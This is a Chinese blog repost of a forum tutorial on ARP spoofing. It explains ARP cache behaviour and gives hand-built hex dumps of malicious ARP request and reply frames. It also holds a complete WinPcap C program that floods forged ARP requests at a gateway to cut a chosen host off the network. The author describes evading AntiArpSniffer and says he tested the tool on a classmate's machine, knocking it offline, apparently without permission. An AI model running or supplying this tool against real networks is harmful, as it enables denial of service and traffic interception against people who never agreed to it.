life is game

(本色)
posts - 11, comments - 4, trackbacks - 0, articles - 0
  C++博客 :: 首页 :: 新随笔 :: 联系 :: 聚合  :: 管理

Arp欺骗

Posted on 2006-12-31 18:23 原色 阅读(286) 评论(0)  编辑 收藏 引用
标 题: arp欺骗DIY
作 者: enolaZ
时 间: 2006-10-20,13:25
链 接: http://bbs.pediy.com/showthread.php?threadid=33573

前段时间我们学校的的网络总是出现掉线的问题,后来说是ARP欺骗,要我们用ANTIARPSNIFFER。小弟不才,

也想搞清楚这个ARP欺骗到底是个什么东西。于是在网上查了点资料,看了点文档。也算是DIY了一个出来,而

且可以不被ANTIARPSNIFFER发现的让对方主机在网络中死掉。于是把这个小东西贴出来让大家一起把玩一下。
   在下菜鸟一只,还请高手指教
参考资料:《TCP/IP详解II:实现》,《WINPCAP 3.0 DOC》,《交换网络中的嗅探和ARP欺骗》(一位叫RefDom

的大哥很久前写的帖子)

   一般在局域网中的各主机一般都是连接到同一个交换机(或是HUB),再由交换机连接路由器,路由器再与

相对于该局域网的外部网络相连。在我们的主机和交换机的内存中,都保留着一张ARP的缓存表(你可以在cmd

下用arp -a来查看),它记录着IP地址和MAC地址的对应关系。当外部网络的一个包传进来,交换机通过这个包

的IP地址,在他的ARP缓存表中查找其对应的MAC地址(因为交换机是工作在链路层的,所以他只会根据MAC地址

来判断是哪个主机),当找到时,他就把这个包传给拥有这个MAC地址的主机。当主机向外部网络通信的时候,

主机查询自己的ARP缓存表里网关(在这里就是交换机)(这个网关是用IP地址确定的)的MAC地址,然后将包

传给交换机,交换机一看是它的MAC地址,就把这个包往上传给路由器。
   我们可以把IP比做姓名,把MAC地址比做联系方式
   当主机连接上网络时,他会发送一个广播(ARP REQUEST)说:大家好,我是IP xxx,这是我的MAC地址aaa,

大家以后用他联系,叫IP YYY的网关大哥的MAC地址是多少啊 ,小弟以后找还要拜托大哥了,记个联系方式先~
   然后网关IP YYY告诉IP XXX说(ARP REPLY):我就是网关IP XXX,我已经记下了你IP和你的MAC地址,我的

MAC地址是ccc,以后有事联系,别客气~

   现在,假如出现了一些不明原因的错误,主机A中的arp缓存表中网关IP YYY对应的MAC地址不是网关的,而

是另一台主机B的(BBB),那么当主机A发送了一个包时,他查询自己的ARP缓存表,把主机B的MAC地址填在了

网关的地方,然后把包发了出去,交换机一看这个MAC地址,心想这不是给我的小弟B的吗,于是把这个包发给

了内网中的B,而主机A却不知道这个包已经迷失在了网络中。
  再假设另一个错误,现在主机中的arp缓存表没错,而交换机的缓存错了,主机A的IP对应的MAC地址上填的是

主机B的!,那么当外部网络的一个发给主机A的包到达交换机的时候,交换机查自己的ARP缓存表,一看这个IP

(A的)对应了自己内网中一个主机的MAC地址 (B的),于是就把这个包传给了拥有这个MAC地址的B,而不是A


   另外还有一点很重要的是,ARP协议中,无论主机A有没有REQUEST或是已经收到了REPLY,当再有REPLY来的

时候,它都会记下这个REPLY中的信息,并更新自己的ARP缓存。同样交换机,也只要是有主机发送ARP REQUEST

,他就会记下这个信息,并更新自己的ARP缓存,而不会管这个请求是对是错

   原谅我说了这么多晦涩的话,但这决不是废话,因为所谓的arp欺骗就是将上面所说的两个错误人为的造成


  第一种欺骗方法:欺骗主机A说,我是网关IP YYY,我的MAC地址改成BBB了,于是主机A就出现了我们刚说的

第一种情况的错误。
  第二种欺骗方法:欺骗交换机说,我是主机A IP XXX,我的MAC地址是BBB,于是交换机出现了我们说的第二

种情况的错误。

  既然要骗人家,就要让别人相信你说的是真的,首先我们要符合ARP包的格式,另外我们要让该真的地方真,

这样别人才会相信你说的假话。
  先来看下ARP包是个什么样的(TCP/IP详解II图21-7有详细说明,大家可以查查看)
 typedef struct ethhdr               //以太网头部,长度14
{
  unsigned char dst[6];       //目的的MAC地址
  unsigned char src[6];       //源的MAC地址
  unsigned short type;        //帧类型
}ETHHDR,*PETHDHR;

typedef struct eth_arphdr           //以太网arp字段长度28
{
  unsigned short arp_hrd;     //硬件类型
  unsigned short arp_pro;     //协议类型
  unsigned char  arp_hln;     //硬件地址长度(6)
  unsigned char  arp_pln;     //协议地址长度(4)
        unsigned short arp_op;      //回应还是请求
 
  unsigned char arp_sha[6];   //发送者MAC地址
  unsigned long arp_spa;      //发送者IP
  unsigned char arp_tha[6];   //接收者MAC地址
  unsigned long arp_tpa;      //接收者IP
}ETH_ARPHDR,*PETH_ARPHDR;

typedef struct arp                  //整个ARP包的结构
{
    ETHHDR ethhdr;
    ETH_ARPHDR eth_arp;
}ARP,*PARP;  


  现在我们再来看下arp request 和arp reply到底是个什么样子。
  我打开了winpcap devlopment pack中的一个例子程序TestApp,他带有很简单的嗅探功能,然后我用
arp -d 10.10.63.254(我的网关IP地址),清除了我的ARP缓存表中网关的记录,过一下,我再用arp -a查看自

己的缓存表,网关的IP,MAC又写上来了,这说明一次REQUEST和REPLY已经完成。于是,我在TestApp的输出中

找到了他们的包的记录:
我的IP地址是10.10.63.37(即0a 0a 3f 25),MAC地址是00 20 ED 89 53 B9
我的网关的IP地址是10.10.63.254(即0a 0a 3f fe),MAC地址是00 11 5d ac e8 00

request的:长度42
    FF FF FF FF FF FF 00 20 ED 89 53 B9 08 06 00 01 08 00 06 04 00 01 00 20 ED 89 53 B9 0A 0A 3F 

25 00 00 00 00 00 00 0A 0A 3F FE
reply的:  长度60
    00 20 ED 89 53 B9 00 11 5D AC E8 00 08 06 00 01 08 00 06 04 00 02 00 11 5D AC E8 00 0A 0A 3F 

FE 00 20 ED 89 53 B9 0A 0A 3F 25 00 00 00 00 00....(后面都是用0填充)
 
好了根据这两个包,我们就能构造恶意的REQUEST和REPLY,假如我们要让一台内网中的主机C消失,假设他的IP

是10.10.63.123,MAC地址是11 22 33 44 55 66那么我们可以这样来构造包(我们使用一个伪造的MAC地址,比

如是AA BB CC DD EE FF
恶意的request:长度42
    FF FF FF FF FF FF AA BB CC DD EE FF 08 06 00 01 08 00 06 04 00 01 AA BB CC DD EE FF 0A 0A 3F 

7B 00 00 00 00 00 00 0A 0A 3F FE
当交换机接受了这个请求并更新了自己的ARP缓存后,任何发给10.10.63.123的包都会转发到MAC地址是
AA BB CC DD EE FF的主机(假如这个主机才内网中存在的话)
恶意的reply :长度60
    11 22 33 44 55 66 AA BB CC DD EE FF 08 06 00 01 08 00 06 04 00 02 AA BB CC DD EE FF 0A
0A 3F FE 11 22 33 44 55 66 0A 0A EF 7B 00 00 00 00 00.....(后面用0填充)
当主机接受到了这个包,并更新了自己的ARP缓存后,他所发的任何包都会转发给拥有这个MAC地址的主机(同

上,这个主机必须存在)。
   现在假如交换机和主机都被欺骗了,于是就出现了这样的一个情况:主机A和其他主机或是外部网络的一切

通信就都会传给这个伪造MAC的主机,而如果这个主机再将这些包转发给原来的接收方的话,他就成了THE 

MIDDLE MAN,而这种方式也正是交换机网络中的嗅探原理了。有兴趣的话,大家也可以写个试试~

   现在回到我们的话题上来,当我们自己的网络中出现了类似的欺骗的时候,我们应该怎么防范?很多人估计

都会想到用专门的软件,比如ANTIARPSNIFFER3.0,这个软件实际是将网关的IP地址和MAC地址的对应关系绑定

,当接受到一个ARP REPLY时他会查看这个包中发送方的IP和MAC地址,如果IP是网关的,而MAC地址不是,那他

就认为这是个ARP欺骗,于是记录这个假的MAC地址(当然我们可以伪造,如果你想架祸人的话,也可以填别人

的...,但如果你是想嗅探(即是你自己的MAC地址),那么你可能会在某天被一群人抓出去暴打一顿...,为什

么我们生活的世界这么暴力,不能和平解决呢?额...我请大哥们吃顿饭怎么样??)
   ANTIARPSNIFFER可以有效的阻止发送给主机的欺骗REPLY,但他无法阻止发送给交换机的欺骗REQUEST,因此

也就无法捕获恶意攻击者的MAC地址,所以我个人认为站在攻击的角度,第二种欺骗方式要比第一种来的更加有

效和不易被发现,毕竟谁的会关注自身的安全,却往往忽视社会整体的安全隐患....要想解决这个问题,就必

须把交换机的ARP缓存设为静态(即将IP和MAC的对应关系锁死)(使用ARP -S)来解决。然而,对于主机使用

DHCP动态获取IP的网络(比如我们学校的网络),由于IP与MAC地址无法在长时间内保持一致,因此交换机的

ARP缓存表必须是可更新的(即动态),于是对于这种网络,发送欺骗REQUEST给交换机的攻击方式将是无法解

决的....
   也正因为此,我所编写的一个测试程序是基于第二种攻击方式(即发送加的ARP REQUEST请求给交换机)。

由于是测试程序,我把一切可能出错的部分都做了最简化以方便调试,程序相当简陋,不过仍然很有效。
另外要说明的是,我安装了WINPCAP 3.0(一个OPEN SOURCE的网卡驱动项目)和他的开发包。并参考了WINPCAP
DOC中的程序和RefDom大哥在帖子里的程序,当然还有伟大的W.Richard.Stevens的《TCP/IP详解II实现》第21



/////////////////////////////////////////////////////////////////////////////
//    arp attacker
//    author:enolaZ
//    e-mail:enolaz@126.com
/////////////////////////////////////////////////////////////////////////////
#include<stdio.h>
#include"packet32.h"
#include<winsock2.h>
#pragma comment(lib,"ws2_32")
#pragma comment(lib,"packet")

#define EPT_ARP 0x0806                //定义了一些在构造包的时候要用到的常量
#define EPT_IP 0x0800
#define ARP_HARDWARE 0X0001
#define ARP_REPLY 0x0002
#define ARP_REQUEST 0x0001

#pragma pack(push,1)                //在定义结构的时候一顶要用到pack(push,1)和下面的pack(pop)
                                    //否则你构造的结构的长度会有问题

typedef struct ethhdr               //以太网头部,长度14
{
  unsigned char dst[6];       //目的的MAC地址
  unsigned char src[6];       //源的MAC地址
  unsigned short type;        //帧类型
}ETHHDR,*PETHDHR;

typedef struct eth_arphdr           //以太网arp字段长度28
{
  unsigned short arp_hrd;     //硬件类型
  unsigned short arp_pro;     //协议类型
  unsigned char  arp_hln;     //硬件地址长度(6)
  unsigned char  arp_pln;     //协议地址长度(4)
        unsigned short arp_op;      //回应还是请求
 
  unsigned char arp_sha[6];   //发送者MAC地址
  unsigned long arp_spa;      //发送者IP
  unsigned char arp_tha[6];   //接收者MAC地址
  unsigned long arp_tpa;      //接收者IP
}ETH_ARPHDR,*PETH_ARPHDR;

typedef struct arp                  //整个ARP包的结构
{
  ETHHDR ethhdr;
    ETH_ARPHDR eth_arp;
}ARP,*PARP;

#pragma pack(pop)

#define Max_Num_Adapter 10

char        AdapterList[Max_Num_Adapter][1024];  //定义的网络适配器列表

int main (int argc,char* argv[])
{
  LPADAPTER  lpAdapter = 0;               
  LPPACKET   lpPacket;
  int        i;
  DWORD      dwErrorCode;
  WCHAR     AdapterName[8192]; 
  WCHAR     *temp,*temp1;                 //将AdapterNames的内容转存到AdapterList时用
  int     AdapterNum=0;
  ULONG     AdapterLength;
  ARP arpPacket;                           //定义的包结构实例
  char szPktBuf[256000];                   //用于存放包的内容


        printf("%d\n",sizeof(ETHHDR));           //这3行是我在测试结构长度时用的,如果没有使用之
  printf("%d\n",sizeof(ETH_ARPHDR));       //前说的pack(push,1),pack(pop)长度就成了14,32
  printf("%d\n",sizeof(ARP));              //48,与我们的arp包的格式不符
  i=0;  
  AdapterLength = sizeof(AdapterName);
  if(PacketGetAdapterNames((char *)AdapterName,&AdapterLength)==FALSE)//获取所有网络适配器
  {
    printf("Unable to retrieve the list of the adapters!\n");
    return -1;
  }
  temp=AdapterName;
  temp1=AdapterName;
  while ((*temp!='\0')||(*(temp-1)!='\0'))          //将AdapterNames的内容转存到AdapterList
  {
    if (*temp=='\0') 
    {
      memcpy(AdapterList[i],temp1,(temp-temp1)*2);
      temp1=temp+1;
      i++;
    }
    temp++;
  }
    
  AdapterNum=i;
  for (i=0;i<AdapterNum;i++)
    wprintf(L"\n%d- %s\n",i+1,AdapterList[i]); //输出获得的所有网络适配器
  printf("\n");  
  
  lpAdapter =   PacketOpenAdapter(AdapterList[0]);   //得到对应网络适配器的_Adapter结构,我  

                                                           //就一个当然是0了  
  if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
  {
    dwErrorCode=GetLastError();
    printf("Unable to open the adapter, Error Code : %lx\n",dwErrorCode); 
    return -1;
  }  

        lpPacket=PacketAllocatePacket();                       //得到一个包的_Packet结构
  if(lpPacket==NULL)
  {
    printf("alloc lppacket failed");
    return -1;
  }

        ZeroMemory(szPktBuf,sizeof(szPktBuf));                //将包的缓存区清空

  arpPacket.ethhdr.dst[0]=0xff;                     //开始填充包结构arpPacket
        arpPacket.ethhdr.dst[1]=0xff;
  arpPacket.ethhdr.dst[2]=0xff;
  arpPacket.ethhdr.dst[3]=0xff;
  arpPacket.ethhdr.dst[4]=0xff;
  arpPacket.ethhdr.dst[5]=0xff;

  arpPacket.ethhdr.src[0]=0x00;                     //一个伪造的MAC地址
        arpPacket.ethhdr.src[1]=0x20;
  arpPacket.ethhdr.src[2]=0xce;
  arpPacket.ethhdr.src[3]=0xa8;
  arpPacket.ethhdr.src[4]=0x54;
  arpPacket.ethhdr.src[5]=0x33;

  arpPacket.ethhdr.type=htons(EPT_ARP);
  arpPacket.eth_arp.arp_hrd=htons(ARP_HARDWARE);
  arpPacket.eth_arp.arp_pro=htons(EPT_IP);
  arpPacket.eth_arp.arp_hln=6;
  arpPacket.eth_arp.arp_pln=4;
  arpPacket.eth_arp.arp_op=htons(ARP_REQUEST);

  arpPacket.eth_arp.arp_sha[0]=0x00;                    //仍然是假的MAC地址
  arpPacket.eth_arp.arp_sha[1]=0x20;
  arpPacket.eth_arp.arp_sha[2]=0xce;
  arpPacket.eth_arp.arp_sha[3]=0xa8;
  arpPacket.eth_arp.arp_sha[4]=0x54;
  arpPacket.eth_arp.arp_sha[5]=0x33;
  arpPacket.eth_arp.arp_spa=inet_addr("10.10.63.123");   //冒充对象的IP

        arpPacket.eth_arp.arp_tha[0]=0x00;
  arpPacket.eth_arp.arp_tha[1]=0x00;
  arpPacket.eth_arp.arp_tha[2]=0x00;
  arpPacket.eth_arp.arp_tha[3]=0x00;
  arpPacket.eth_arp.arp_tha[4]=0x00;
  arpPacket.eth_arp.arp_tha[5]=0x00;
  arpPacket.eth_arp.arp_tpa=inet_addr("10.10.63.254");   //网关IP
        printf("%d\n",sizeof(arpPacket));
  memcpy(szPktBuf,(char*)&arpPacket,sizeof(arpPacket));  
  PacketInitPacket(lpPacket,szPktBuf,60);                
        while(getchar()!='q')                                     //当输入为q时结束
  {
        if(PacketSendPacket(lpAdapter,lpPacket,true)==false)  //不断发送伪造信息,将目标的正确
                                                              //ARP REQUEST淹没
    {
        printf("error in sending packet");
        return -1;
    }
  }
  printf("send ok");
  PacketFreePacket(lpPacket);        //一点扫尾的工作
  PacketCloseAdapter(lpAdapter);

    return 1;
}

好了,这个异常简陋的程序结束了,我对我们内部网的某同学测试过,当我程序启动不久,去他寝室看,他已

经掉线了,而他的AntiArpSniffer却没有报警,呵呵这说明攻击很成功~。
当然要说明的一点是,这个东西完全是研究学习用,没有恶意,也希望大家不要随便对别人做坏事,恩恩,为

了学习研究的目的当然可以做一下实验,但不要太有破坏性哦~(如果你想被一群愤怒的群众痛打,那我也没话

说...)。可怜了我那位实验对象 ...找个机会请他吃个饭吧~


只有注册用户登录后才能发表评论。
网站导航: 博客园   IT新闻   BlogJava   博问   Chat2DB   管理